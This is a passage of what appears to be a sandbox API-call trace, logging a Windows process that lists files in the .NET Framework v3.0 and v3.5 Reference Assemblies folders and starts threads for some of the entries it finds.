lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1158c, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x6f1158c, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7ac6bc9c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Speech.dll", cAlternateFileName="")) returned 1 [0051.332] wcscmp (_String1="System.Speech.dll", _String2=".") returned 1 [0051.332] wcscmp (_String1="System.Speech.dll", _String2="..") returned 1 [0051.332] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44b2788, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44b2788, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44d88e8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x117000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Activities.dll", cAlternateFileName="")) returned 1 [0051.333] wcscmp (_String1="System.Workflow.Activities.dll", _String2=".") returned 1 [0051.333] wcscmp (_String1="System.Workflow.Activities.dll", _String2="..") returned 1 [0051.333] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44664c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44664c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44b2788, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.dll", cAlternateFileName="")) returned 1 [0051.333] wcscmp (_String1="System.Workflow.ComponentModel.dll", _String2=".") returned 1 [0051.333] wcscmp (_String1="System.Workflow.ComponentModel.dll", _String2="..") returned 1 [0051.333] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44d88e8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44d88e8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44d88e8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x84000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Runtime.dll", cAlternateFileName="")) returned 1 [0051.333] wcscmp (_String1="System.Workflow.Runtime.dll", _String2=".") returned 1 [0051.333] wcscmp (_String1="System.Workflow.Runtime.dll", _String2="..") returned 1 [0051.333] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7231257, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x7231257, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7ae0ebbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClient.dll", cAlternateFileName="")) returned 1 [0051.333] wcscmp (_String1="UIAutomationClient.dll", _String2=".") returned 1 [0051.333] wcscmp (_String1="UIAutomationClient.dll", _String2="..") returned 1 [0051.333] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752adc3, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x752adc3, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b23923c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.dll", cAlternateFileName="")) returned 1 [0051.333] wcscmp (_String1="UIAutomationClientsideProviders.dll", _String2=".") returned 1 [0051.333] wcscmp (_String1="UIAutomationClientsideProviders.dll", _String2="..") returned 1 [0051.333] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778c3b3, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x778c3b3, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b532dbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationProvider.dll", cAlternateFileName="")) returned 1 [0051.333] wcscmp (_String1="UIAutomationProvider.dll", _String2=".") returned 1 [0051.333] wcscmp (_String1="UIAutomationProvider.dll", _String2="..") returned 1 [0051.333] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a39c61, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x7a39c61, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b5a51dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationTypes.dll", cAlternateFileName="")) returned 1 [0051.333] wcscmp (_String1="UIAutomationTypes.dll", _String2=".") returned 1 [0051.333] wcscmp (_String1="UIAutomationTypes.dll", _String2="..") returned 1 [0051.333] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa262a3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa262a3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa49dee1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x132000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsBase.dll", cAlternateFileName="")) returned 1 [0051.333] wcscmp (_String1="WindowsBase.dll", _String2=".") returned 1 [0051.333] wcscmp (_String1="WindowsBase.dll", _String2="..") returned 1 [0051.333] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c58b5, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x80c58b5, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b91117c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsFormsIntegration.dll", cAlternateFileName="")) returned 1 [0051.333] wcscmp (_String1="WindowsFormsIntegration.dll", _String2=".") returned 1 [0051.333] wcscmp (_String1="WindowsFormsIntegration.dll", _String2="..") returned 1 [0051.333] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 1 [0051.334] wcscmp (_String1="WinFXList.xml", _String2=".") returned 1 [0051.334] wcscmp (_String1="WinFXList.xml", _String2="..") returned 1 [0051.334] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa6) returned 0x442e60 [0051.334] wcscpy (in: _Dest=0x442e60, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" [0051.334] wcscat (in: _Dest=0x442e60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" [0051.334] wcscat (in: _Dest=0x442e60, _Source="WinFXList.xml" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" [0051.334] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x442e60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf8 [0051.335] FindNextFileW (in: hFindFile=0x40a028, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 0 [0051.335] FindClose (in: hFindFile=0x40a028 | out: hFindFile=0x40a028) returned 1 [0051.336] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45b240) returned 1 [0051.336] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e420) returned 1 [0051.336] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4246a8) returned 1 Thread: id = 406 os_tid = 0xd40 [0048.859] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x44e4b8 [0048.859] wcscpy (in: _Dest=0x44e4b8, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5" [0048.859] wcscat (in: _Dest=0x44e4b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\" [0048.859] wcscat (in: _Dest=0x44e4b8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*" [0048.859] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458bc0 [0048.859] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409d68 [0049.195] wcscmp (_String1=".", _String2=".") returned 0 [0049.195] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.803] wcscmp (_String1="..", _String2=".") returned 1 [0049.803] wcscmp (_String1="..", _String2="..") returned 0 [0049.803] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565d698d, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x565d698d, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754f141c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0049.803] wcscmp (_String1="Microsoft.Build.Conversion.v3.5.dll", _String2=".") returned 1 [0049.803] wcscmp (_String1="Microsoft.Build.Conversion.v3.5.dll", _String2="..") returned 1 [0049.803] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6605bc5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6605bc5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb662bd26, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Engine.dll", cAlternateFileName="")) returned 1 [0049.803] wcscmp (_String1="Microsoft.Build.Engine.dll", _String2=".") returned 1 [0049.803] wcscmp (_String1="Microsoft.Build.Engine.dll", _String2="..") returned 1 [0049.803] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d930d9, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x56d930d9, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x777e773c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Framework.dll", cAlternateFileName="")) returned 1 [0049.803] wcscmp (_String1="Microsoft.Build.Framework.dll", _String2=".") returned 1 [0049.803] wcscmp (_String1="Microsoft.Build.Framework.dll", _String2="..") returned 1 [0049.803] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65937a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.v3.5.dll", cAlternateFileName="")) returned 1 [0049.804] wcscmp (_String1="Microsoft.Build.Utilities.v3.5.dll", _String2=".") returned 1 [0049.804] wcscmp (_String1="Microsoft.Build.Utilities.v3.5.dll", _String2="..") returned 1 [0049.804] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e9da72, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x56e9da72, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77d8eb7c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.STLCLR.dll", cAlternateFileName="")) returned 1 [0049.804] wcscmp (_String1="Microsoft.VisualC.STLCLR.dll", _String2=".") returned 1 [0049.804] wcscmp (_String1="Microsoft.VisualC.STLCLR.dll", _String2="..") returned 1 [0049.804] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0049.804] wcscmp (_String1="RedistList", _String2=".") returned 1 [0049.804] wcscmp (_String1="RedistList", _String2="..") returned 1 [0049.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa0) returned 0x444970 [0049.804] wcscpy (in: _Dest=0x444970, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5" [0049.804] wcscat (in: _Dest=0x444970, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\" [0049.804] wcscat (in: _Dest=0x444970, _Source="RedistList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" [0051.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280 [0051.981] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1 [0051.981] wcscmp (_String1="SubsetList", _String2=".") returned 1 [0051.982] wcscmp (_String1="SubsetList", _String2="..") returned 1 [0051.982] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa0) returned 0x43e3b0 [0051.982] wcscpy (in: _Dest=0x43e3b0, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5" [0051.982] wcscat (in: _Dest=0x43e3b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\" [0051.982] wcscat (in: _Dest=0x43e3b0, _Source="SubsetList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList" [0051.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43e3b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1020 [0051.983] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65937a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65937a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65937a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0051.983] wcscmp (_String1="System.AddIn.Contract.dll", _String2=".") returned 1 [0051.983] wcscmp (_String1="System.AddIn.Contract.dll", _String2="..") returned 1 [0051.983] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65474e4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65474e4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="")) returned 1 [0051.983] wcscmp (_String1="System.AddIn.dll", _String2=".") returned 1 [0051.983] wcscmp (_String1="System.AddIn.dll", _String2="..") returned 1 [0051.983] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64d50c3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64d50c3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64fb223, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.dll", cAlternateFileName="")) returned 1 [0051.983] wcscmp (_String1="System.ComponentModel.DataAnnotations.dll", _String2=".") returned 1 [0051.983] wcscmp (_String1="System.ComponentModel.DataAnnotations.dll", _String2="..") returned 1 [0051.984] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6651e86, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6651e86, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6651e86, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Core.dll", cAlternateFileName="")) returned 1 [0051.984] wcscmp (_String1="System.Core.dll", _String2=".") returned 1 [0051.984] wcscmp (_String1="System.Core.dll", _String2="..") returned 1 [0051.984] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb662bd26, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb662bd26, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb662bd26, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.dll", cAlternateFileName="")) returned 1 [0051.984] wcscmp (_String1="System.Data.DataSetExtensions.dll", _String2=".") returned 1 [0051.984] wcscmp (_String1="System.Data.DataSetExtensions.dll", _String2="..") returned 1 [0051.984] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64fb223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64fb223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64fb223, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.Design.dll", cAlternateFileName="")) returned 1 [0051.984] wcscmp (_String1="System.Data.Entity.Design.dll", _String2=".") returned 1 [0051.984] wcscmp (_String1="System.Data.Entity.Design.dll", _String2="..") returned 1 [0051.984] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb462f54b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb462f54b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46a196b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.dll", cAlternateFileName="")) returned 1 [0051.984] wcscmp (_String1="System.Data.Entity.dll", _String2=".") returned 1 [0051.984] wcscmp (_String1="System.Data.Entity.dll", _String2="..") returned 1 [0051.984] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64fb223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64fb223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6521384, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Linq.dll", cAlternateFileName="")) returned 1 [0051.984] wcscmp (_String1="System.Data.Linq.dll", _String2=".") returned 1 [0051.984] wcscmp (_String1="System.Data.Linq.dll", _String2="..") returned 1 [0051.984] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65937a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65937a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65b9905, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x71000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Client.dll", cAlternateFileName="")) returned 1 [0051.984] wcscmp (_String1="System.Data.Services.Client.dll", _String2=".") returned 1 [0051.984] wcscmp (_String1="System.Data.Services.Client.dll", _String2="..") returned 1 [0051.984] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb462f54b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Design.dll", cAlternateFileName="")) returned 1 [0051.984] wcscmp (_String1="System.Data.Services.Design.dll", _String2=".") returned 1 [0051.984] wcscmp (_String1="System.Data.Services.Design.dll", _String2="..") returned 1 [0051.984] FindNextFileW (in: hFindFile=0x409d68, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb462f54b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb462f54b, ftLastAccessTime.dwHighDateTime=0x1cb892b, 